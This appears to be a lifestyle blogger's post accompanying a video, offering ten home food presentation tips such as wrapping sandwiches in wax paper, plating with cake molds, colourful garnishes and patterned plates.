Facebook facebook.com/JenniferLScottAuthor

Twitter @JL_Scott

Instagram @dailyconnoisseur

Take my affordable eCourses on the POISE *NEW course*, debt-free living, and efficiency at home

FTC: This post is not sponsored. This post may also include affiliate links, including Amazon affiliate links. Thank you for your support. 

Food presentation matters. We eat with our senses: what we see, taste, smell, and feel. So in today’s video, I’m sharing food presentation tips for the home cook.

I have a passion for fine living at home. And of course, a major part of living well is through our meals and food presentation is a big part of that. In today’s video I’m going to reveal 10 food presentation secrets that will send your meals over the top. All the food presentation supplies featured in this video are in my Amazon Store.




1. Keep it together We want certain foods to feel controlled and put together. When you are enjoying a sandwich, for example, you don’t want the stress of feeling like it is going to fall out and be messy when you try to eat it. So there are various ways to keep your sandwiches together and make them look more appetizing at the same time. The first is with the traditional cocktail party toothpicks. You see these at delis and they hold a large sandwich together. Here I’ve made a grilled cheese sandwich with grilled red onions and tomato. I use the picks to hold the sandwich together and they look much more festive this way. Another way to keep your sandwiches together is to wrap them in wax paper.



I like to use colorful wax paper that makes the sandwich look like a little gift. The paper I had here was slightly too small, but I made it work by wrapping the sandwich on an angle. I use tape to seal it. Then when you cut the sandwich in half, you have a beautifully packaged work of art. You can really see the difference in the before and after with this one.


2. Create height Create height when plating your dishes. Use cake molds and ramekins to create height with your food. In the video I share an easy baked crab tartar. When plonked in a bowl, it does not look very appetizing, but when placed in a mousse or cake mold, it suddenly looks like a gourmet creation from a fine restaurant. Ramekins are also a great way to plate rice so that it holds a shape and presents a dynamic of height on the plate.

3. Think of color They say we eat with our eyes and when everything is the same color on the plate, it’s less appealing. Plus, as I write in Connoissuer Kids, eating the rainbow with fruits and veggies is very healthy. Adding purple cabbage to a sandwich makes it look so much tastier, than if it were just turkey and cheese. The addition of Roma tomatoes and grilled red onions on the grilled cheese add a beautiful color as well. Even things like grill marks on the grilled cheese help in appearance. Here’s another example: I made coconut rice, air fryer chicken, and tropical salsa. Look how bland the rice and chicken look before I add the colorful salsa: which contains mango, papaya, tomatoes and cilantro. The colors make the dish look so appetizing.

4. Edible garnishes Garnishes are key to making a plated meal look enticing. I once watched an interview with celebrity chef, Wolfgang Puck, and he said the best way to make a plated dish look good is with edible flowers. I like to use fruit, herbs, and other sauces to create a pretty finish.


5. Footed dessert bowls I use footed dessert bowls for so many things… ice cream, puddings, unruly desserts. Footed dessert bowls add height, structure, and elegance to an otherwise unruly looking dish.


6. Get creative Get creative with your food plating. Think about how you can use containers for different purposes. For example: using sherry or cordial glasses for small desserts. Here I've made a very simple pudding dessert for the kids. I place dark chocolate pudding in the bottom of the sherry glass, top with whipped cream and a raspberry. Simple but beautiful. The kids were delighted to see these and the presentation is so charming. I’ll often use teacups or drinking glasses to plate desserts or things like overnight oats in.


7. Portion sizes small The food on the plate looks more appealing, when there is less of it. Think of a giant plate heaped high with lots of food. You’ll notice that high end restaurants plate smaller portions of food… this just looks more appetizing. When you see a smaller plate beautifully plated, you want to eat the whole thing.

8. Use a squeeze bottle for sauces It’s all about control and a squeeze bottle allows you to decorate your plated food in an artful way. Normally if you are using a sauce out of a bottle, it can come out clumpy. The squeeze bottle allows you to control the distribution of the sauce in an appealing way.


9. Copy restaurant style Think about your favorite dishes at restaurants and mimic what you like about them at home. You can even do this with casual meals like sandwiches. Here I’m using wax paper and a sandwich basket to serve the grilled cheese in. It looks delightful like this. The presentation is festive and makes the sandwich look even more appealing. The only things that’s missing is a pickle!


10. Plate selection Of course, we must discuss plate selection. You can use white plates to be safe but don’t be afraid of color and pattern. You know how much I love my Spode Blue Italian plates and my Portmeirion Botanic Garden plates. I use them on a daily basis and love the color. And here’s a trick… when you don’t have time to go a bit extra with your food presentation, pretty plates make up for it. They still give your eyes something to feast on.

11. Bonus tip: Section it off If your children are picky eaters, consider serving them on plates that have sections. For some reason, sectioned plates are visually appealing to many children. They like the choice and variety. You can sneak in some vegetable salads and other things they might not try if plated on a regular plate.
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I hope you enjoyed today's video and that it gave you ideas for improving the food presentation in your kitchen.

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